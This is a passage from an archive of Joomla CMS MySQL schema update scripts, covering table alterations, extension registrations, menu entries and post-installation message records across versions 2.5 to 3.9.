('users', 'en'),
('veri', 'en'),
('version', 'en'),
('very', 'en'),
('via', 'en'),
('want', 'en'),
('was', 'en'),
('way', 'en'),
('were', 'en'),
('what', 'en'),
('when', 'en'),
('where', 'en'),
('whi', 'en'),
('which', 'en'),
('who', 'en'),
('whom', 'en'),
('whose', 'en'),
('why', 'en'),
('wide', 'en'),
('will', 'en'),
('with', 'en'),
('within', 'en'),
('without', 'en'),
('would', 'en'),
('yes', 'en'),
('yet', 'en'),
('you', 'en'),
('your', 'en'),
('yours', 'en');


INSERT INTO `#__menu` (`menutype`, `title`, `alias`, `note`, `path`, `link`, `type`, `published`, `parent_id`, `level`, `component_id`, `ordering`, `checked_out`, `checked_out_time`, `browserNav`, `access`, `img`, `template_style_id`, `params`, `lft`, `rgt`, `home`, `language`, `client_id`) VALUES
('menu', 'com_finder', 'Smart Search', '', 'Smart Search', 'index.php?option=com_finder', 'component', 0, 1, 1, 27, 0, 0, '0000-00-00 00:00:00', 0, 0, 'class:finder', 0, '', 41, 42, 0, '*', 1);
com_admin/sql/updates/mysql/3.8.8-2018-05-18.sql000060400000001021152455305270014340 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_UPDATEDEFAULTSETTINGS_TITLE', 'COM_CPANEL_MSG_UPDATEDEFAULTSETTINGS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/updatedefaultsettings.php', 'admin_postinstall_updatedefaultsettings_condition', '3.8.8', 1);
com_admin/sql/updates/mysql/3.7.0-2016-08-06.sql000060400000000610152455305270014330 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(458, 'plg_quickicon_phpversioncheck', 'plugin', 'phpversioncheck', 'quickicon', 0, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.16-2020-03-04.sql000060400000000162152455305270014407 0ustar00ALTER TABLE `#__users` DROP INDEX `username`;
ALTER TABLE `#__users` ADD UNIQUE INDEX `idx_username` (`username`);com_admin/sql/updates/mysql/3.5.0-2015-10-26.sql000060400000000167152455305270014327 0ustar00ALTER TABLE `#__contentitem_tag_map` DROP INDEX `idx_tag`;
ALTER TABLE `#__contentitem_tag_map` DROP INDEX `idx_type`;
com_admin/sql/updates/mysql/3.9.8-2019-06-15.sql000060400000000436152455305270014351 0ustar00ALTER TABLE `#__template_styles` DROP INDEX `idx_home`;
# Query removed, see https://github.com/joomla/joomla-cms/pull/25484
ALTER TABLE `#__template_styles` ADD INDEX `idx_client_id` (`client_id`);
ALTER TABLE `#__template_styles` ADD INDEX `idx_client_id_home` (`client_id`, `home`);
com_admin/sql/updates/mysql/3.5.0-2015-10-13.sql000060400000000572152455305270014323 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(453, 'plg_editors-xtd_module', 'plugin', 'module', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/2.5.0-2011-12-19.sql000060400000001671152455305270014327 0ustar00CREATE TABLE IF NOT EXISTS `#__user_notes` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `user_id` int unsigned NOT NULL DEFAULT '0',
  `catid` int unsigned NOT NULL DEFAULT '0',
  `subject` varchar(100) NOT NULL DEFAULT '',
  `body` text NOT NULL,
  `state` tinyint NOT NULL DEFAULT '0',
  `checked_out` int unsigned NOT NULL DEFAULT '0',
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_user_id` int unsigned NOT NULL DEFAULT '0',
  `created_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_user_id` int unsigned NOT NULL,
  `modified_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `review_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_up` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_down` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
  PRIMARY KEY (`id`),
  KEY `idx_user_id` (`user_id`),
  KEY `idx_category_id` (`catid`)
) DEFAULT CHARSET=utf8;
com_admin/sql/updates/mysql/2.5.4-2012-03-19.sql000060400000000536152455305270014333 0ustar00ALTER TABLE `#__languages` ADD COLUMN `access` integer unsigned NOT NULL default 0 AFTER `published`;

ALTER TABLE `#__languages` ADD INDEX `idx_access` (`access`);

UPDATE `#__categories` SET `extension` = 'com_users.notes' WHERE `extension` = 'com_users';

UPDATE `#__extensions` SET `enabled` = '1' WHERE `protected` = '1' AND `type` <> 'plugin';
com_admin/sql/updates/mysql/3.1.1.sql000060400000000071152455305270013266 0ustar00# Placeholder file for database changes for version 3.1.1com_admin/sql/updates/mysql/3.7.0-2016-11-19.sql000060400000000243152455305270014330 0ustar00ALTER TABLE `#__menu_types` ADD COLUMN `client_id` int NOT NULL DEFAULT 0;

UPDATE `#__menu` SET `published` = 1 WHERE `menutype` = 'main' OR `menutype` = 'menu';
com_admin/sql/updates/mysql/2.5.5.sql000060400000000555152455305270013304 0ustar00ALTER TABLE `#__redirect_links` ADD COLUMN `hits` INT UNSIGNED NOT NULL DEFAULT '0' AFTER `comment`;
ALTER TABLE `#__users` ADD COLUMN `lastResetTime` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Date of last password reset';
ALTER TABLE `#__users` ADD COLUMN `resetCount` int NOT NULL DEFAULT '0' COMMENT 'Count of password resets since lastResetTime';com_admin/sql/updates/mysql/3.6.0-2016-05-06.sql000060400000001362152455305270014331 0ustar00DELETE FROM `#__extensions` WHERE `type` = 'library' AND `element` = 'simplepie';
INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(455, 'plg_installer_packageinstaller', 'plugin', 'packageinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 1, 0),
(456, 'plg_installer_folderinstaller', 'plugin', 'folderinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 2, 0),
(457, 'plg_installer_urlinstaller', 'plugin', 'urlinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 3, 0);
com_admin/sql/updates/mysql/3.7.0-2017-01-09.sql000060400000001252152455305270014330 0ustar00-- Normalize categories table default values.
ALTER TABLE `#__categories` MODIFY `title` varchar(255) NOT NULL DEFAULT '';
ALTER TABLE `#__categories` MODIFY `description` mediumtext;
ALTER TABLE `#__categories` MODIFY `params` text;
ALTER TABLE `#__categories` MODIFY `metadesc` varchar(1024) NOT NULL DEFAULT '' COMMENT 'The meta description for the page.';
ALTER TABLE `#__categories` MODIFY `metakey` varchar(1024) NOT NULL DEFAULT '' COMMENT 'The meta keywords for the page.';
ALTER TABLE `#__categories` MODIFY `metadata` varchar(2048) NOT NULL DEFAULT '' COMMENT 'JSON encoded metadata properties.';
ALTER TABLE `#__categories` MODIFY `language` char(7) NOT NULL DEFAULT '';
com_admin/sql/updates/mysql/3.9.0-2018-05-03.sql000060400000000625152455305270014334 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(482, 0, 'plg_content_confirmconsent', 'plugin', 'confirmconsent', 'content', 0, 0, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.5.0-2015-07-01.sql000060400000000224152455305270014320 0ustar00-- ALTER TABLE `#__session` MODIFY `session_id` varchar(191) NOT NULL DEFAULT '';
ALTER TABLE `#__user_keys` MODIFY `series` varchar(191) NOT NULL;
com_admin/sql/updates/mysql/3.9.7-2019-04-23.sql000060400000000115152455305270014337 0ustar00ALTER TABLE `#__session` ADD INDEX `client_id_guest` (`client_id`, `guest`);
com_admin/sql/updates/mysql/3.7.0-2016-10-02.sql000060400000000113152455305270014313 0ustar00ALTER TABLE `#__session` MODIFY `client_id` tinyint unsigned DEFAULT NULL;
com_admin/sql/updates/mysql/3.6.3-2016-08-15.sql000060400000000175152455305270014340 0ustar00--
-- Increasing size of the URL field in com_newsfeeds
--

ALTER TABLE `#__newsfeeds` MODIFY `link` VARCHAR(2048) NOT NULL;
com_admin/sql/updates/mysql/2.5.0-2011-12-06.sql000060400000001525152455305270014321 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(437, 'plg_quickicon_joomlaupdate', 'plugin', 'joomlaupdate', 'quickicon', 0, 1, 1, 1, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(438, 'plg_quickicon_extensionupdate', 'plugin', 'extensionupdate', 'quickicon', 0, 1, 1, 1, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

ALTER TABLE  `#__update_sites` ADD COLUMN `last_check_timestamp` bigint DEFAULT '0' AFTER `enabled`;

REPLACE INTO `#__update_sites` VALUES
(1, 'Joomla Core', 'collection', 'https://update.joomla.org/core/list.xml', 1, 0),
(2, 'Joomla Extension Directory', 'collection', 'https://update.joomla.org/jed/list.xml', 1, 0);
com_admin/sql/updates/mysql/3.7.0-2016-08-22.sql000060400000000566152455305270014340 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(459, 'plg_editors-xtd_menu', 'plugin', 'menu', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.26-2021-04-07.sql000060400000001242152455305270014415 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `version_introduced`, `enabled`, `condition_file`, `condition_method`, `action_file`, `action`)
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_DESCRIPTION', 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_ACTION', 'com_admin', 1, 'action', '3.9.26', 1, 'admin://components/com_admin/postinstall/behindproxy.php', 'admin_postinstall_behindproxy_condition', 'admin://components/com_admin/postinstall/behindproxy.php', 'behindproxy_postinstall_action');
com_admin/sql/updates/mysql/3.8.0-2017-07-28.sql000060400000000125152455305270014336 0ustar00ALTER TABLE `#__fields_groups` ADD COLUMN `params` TEXT  NOT NULL  AFTER `ordering`;
com_admin/sql/updates/mysql/3.2.2-2013-12-28.sql000060400000000254152455305270014325 0ustar00UPDATE `#__menu` SET `component_id` = (SELECT `extension_id` FROM `#__extensions` WHERE `element` = 'com_joomlaupdate') WHERE `link` = 'index.php?option=com_joomlaupdate';
com_admin/sql/updates/mysql/3.2.2-2014-01-18.sql000060400000000146152455305270014323 0ustar00/* Update updates version length */
ALTER TABLE `#__updates` MODIFY `version` varchar(32) DEFAULT '';
com_admin/sql/updates/mysql/3.8.6-2018-02-14.sql000060400000002017152455305270014335 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(480, 0, 'plg_system_sessiongc', 'plugin', 'sessiongc', 'system', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_TITLE', 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_BODY', 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_ACTION', 'plg_captcha_recaptcha', 1, 'action', 'site://plugins/captcha/recaptcha/postinstall/actions.php', 'recaptcha_postinstall_action', 'site://plugins/captcha/recaptcha/postinstall/actions.php', 'recaptcha_postinstall_condition', '3.8.6', 1);
com_admin/sql/updates/mysql/3.9.0-2018-08-12.sql000060400000000135152455305270014333 0ustar00ALTER TABLE `#__privacy_consents` ADD COLUMN `state` INT NOT NULL DEFAULT 1 AFTER `user_id`;
com_admin/sql/updates/mysql/3.2.0.sql000060400000046410152455305270013275 0ustar00/* Core 3.2 schema updates */

ALTER TABLE `#__content_types` ADD COLUMN `content_history_options` VARCHAR(5120) NOT NULL COMMENT 'JSON string for com_contenthistory options';

UPDATE `#__content_types` SET `content_history_options` = '{"formFile":"administrator\\/components\\/com_content\\/models\\/forms\\/article.xml", "hideFields":["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"} ]}' WHERE `type_alias` = 'com_content.article';
UPDATE `#__content_types` SET `content_history_options` = '{"formFile":"administrator\\/components\\/com_contact\\/models\\/forms\\/contact.xml","hideFields":["default_con","checked_out","checked_out_time","version","xreference"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"], "displayLookup":[ {"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"} ] }' WHERE `type_alias` = 'com_contact.contact';
UPDATE `#__content_types` SET `content_history_options` = '{"formFile":"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml", "hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"],"convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}' WHERE `type_alias` IN ('com_content.category', 'com_contact.category', 'com_newsfeeds.category');
UPDATE `#__content_types` SET `content_history_options` = '{"formFile":"administrator\\/components\\/com_newsfeeds\\/models\\/forms\\/newsfeed.xml","hideFields":["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}' WHERE `type_alias` = 'com_newsfeeds.newsfeed';
UPDATE `#__content_types` SET `content_history_options` = '{"formFile":"administrator\\/components\\/com_tags\\/models\\/forms\\/tag.xml", "hideFields":["checked_out","checked_out_time","version", "lft", "rgt", "level", "path", "urls", "publish_up", "publish_down"],"ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"],"convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}' WHERE `type_alias` = 'com_tags.tag';

INSERT INTO `#__content_types` (`type_title`, `type_alias`, `table`, `rules`, `field_mappings`, `router`, `content_history_options`) VALUES
('Banner', 'com_banners.banner', '{"special":{"dbtable":"#__banners","key":"id","type":"Banner","prefix":"BannersTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"null","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"null", "asset_id":"null"}, "special":{"imptotal":"imptotal", "impmade":"impmade", "clicks":"clicks", "clickurl":"clickurl", "custombannercode":"custombannercode", "cid":"cid", "purchase_type":"purchase_type", "track_impressions":"track_impressions", "track_clicks":"track_clicks"}}', '', '{"formFile":"administrator\\/components\\/com_banners\\/models\\/forms\\/banner.xml", "hideFields":["checked_out","checked_out_time","version", "reset"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "imptotal", "impmade", "reset"], "convertToInt":["publish_up", "publish_down", "ordering"], "displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"cid","targetTable":"#__banner_clients","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}'),
('Banners Category', 'com_banners.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}', '', '{"formFile":"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml", "hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"], "convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}'),
('Banner Client', 'com_banners.client', '{"special":{"dbtable":"#__banner_clients","key":"id","type":"Client","prefix":"BannersTable"}}', '', '', '', '{"formFile":"administrator\\/components\\/com_banners\\/models\\/forms\\/client.xml", "hideFields":["checked_out","checked_out_time"], "ignoreChanges":["checked_out", "checked_out_time"], "convertToInt":[], "displayLookup":[]}'),
('User Notes', 'com_users.note', '{"special":{"dbtable":"#__user_notes","key":"id","type":"Note","prefix":"UsersTable"}}', '', '', '', '{"formFile":"administrator\\/components\\/com_users\\/models\\/forms\\/note.xml", "hideFields":["checked_out","checked_out_time", "publish_up", "publish_down"],"ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time"], "convertToInt":["publish_up", "publish_down"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}'),
('User Notes Category', 'com_users.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}', '', '{"formFile":"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml", "hideFields":["checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"], "convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}');

UPDATE `#__extensions` SET `params` = '{"template_positions_display":"0","upload_limit":"2","image_formats":"gif,bmp,jpg,jpeg,png","source_formats":"txt,less,ini,xml,js,php,css","font_formats":"woff,ttf,otf","compressed_formats":"zip"}' WHERE `extension_id` = 20;
UPDATE `#__extensions` SET `params` = '{"lineNumbers":"1","lineWrapping":"1","matchTags":"1","matchBrackets":"1","marker-gutter":"1","autoCloseTags":"1","autoCloseBrackets":"1","autoFocus":"1","theme":"default","tabmode":"indent"}' WHERE `extension_id` = 410;

INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(30, 'com_contenthistory', 'component', 'com_contenthistory', '', 1, 1, 1, 0, '{"name":"com_contenthistory","type":"component","creationDate":"May 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.\\n\\t","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"COM_CONTENTHISTORY_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(31, 'com_ajax', 'component', 'com_ajax', '', 1, 1, 1, 0, '{"name":"com_ajax","type":"component","creationDate":"August 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"COM_AJAX_DESC","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(32, 'com_postinstall', 'component', 'com_postinstall', '', 1, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(105, 'FOF', 'library', 'fof', '', 0, 1, 1, 1, '{"legacy":false,"name":"FOF","type":"library","creationDate":"2013-10-08","author":"Nicholas K. Dionysopoulos \/ Akeeba Ltd","copyright":"(C)2011-2013 Nicholas K. Dionysopoulos","authorEmail":"nicholas@akeebabackup.com","authorUrl":"https:\/\/www.akeebabackup.com","version":"2.1.rc4","description":"Framework-on-Framework (FOF) - A rapid component development framework for Joomla!","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(448, 'plg_twofactorauth_totp', 'plugin', 'totp', 'twofactorauth', 0, 0, 1, 0, '{"name":"plg_twofactorauth_totp","type":"plugin","creationDate":"August 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"PLG_TWOFACTORAUTH_TOTP_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(449, 'plg_authentication_cookie', 'plugin', 'cookie', 'authentication', 0, 1, 1, 0, '{"name":"plg_authentication_cookie","type":"plugin","creationDate":"July 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"PLG_AUTH_COOKIE_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(450, 'plg_twofactorauth_yubikey', 'plugin', 'yubikey', 'twofactorauth', 0, 0, 1, 0, '{"name":"plg_twofactorauth_yubikey","type":"plugin","creationDate":"Se[ptember 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"PLG_TWOFACTORAUTH_YUBIKEY_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__menu` (`menutype`, `title`, `alias`, `note`, `path`, `link`, `type`, `published`, `parent_id`, `level`, `component_id`, `checked_out`, `checked_out_time`, `browserNav`, `access`, `img`, `template_style_id`, `params`, `lft`, `rgt`, `home`, `language`, `client_id`) VALUES
('main', 'com_postinstall', 'Post-installation messages', '', 'Post-installation messages', 'index.php?option=com_postinstall', 'component', 0, 1, 1, 32, 0, '0000-00-00 00:00:00', 0, 1, 'class:postinstall', 0, '', 45, 46, 0, '*', 1);

ALTER TABLE `#__modules` ADD COLUMN `asset_id` INT UNSIGNED NOT NULL DEFAULT '0' COMMENT 'FK to the #__assets table.' AFTER `id`;

CREATE TABLE `#__postinstall_messages` (
  `postinstall_message_id` bigint unsigned NOT NULL AUTO_INCREMENT,
  `extension_id` bigint NOT NULL DEFAULT '700' COMMENT 'FK to #__extensions',
  `title_key` varchar(255) NOT NULL DEFAULT '' COMMENT 'Lang key for the title',
  `description_key` varchar(255) NOT NULL DEFAULT '' COMMENT 'Lang key for description',
  `action_key` varchar(255) NOT NULL DEFAULT '',
  `language_extension` varchar(255) NOT NULL DEFAULT 'com_postinstall' COMMENT 'Extension holding lang keys',
  `language_client_id` tinyint NOT NULL DEFAULT '1',
  `type` varchar(10) NOT NULL DEFAULT 'link' COMMENT 'Message type - message, link, action',
  `action_file` varchar(255) DEFAULT '' COMMENT 'RAD URI to the PHP file containing action method',
  `action` varchar(255) DEFAULT '' COMMENT 'Action method name or URL',
  `condition_file` varchar(255) DEFAULT NULL COMMENT 'RAD URI to file holding display condition method',
  `condition_method` varchar(255) DEFAULT NULL COMMENT 'Display condition method, must return boolean',
  `version_introduced` varchar(50) NOT NULL DEFAULT '3.2.0' COMMENT 'Version when this message was introduced',
  `enabled` tinyint NOT NULL DEFAULT '1',
  PRIMARY KEY (`postinstall_message_id`)
) DEFAULT CHARSET=utf8;

INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES
(700, 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_TITLE', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_BODY', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_ACTION', 'plg_twofactorauth_totp', 1, 'action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_condition', '3.2.0', 1),
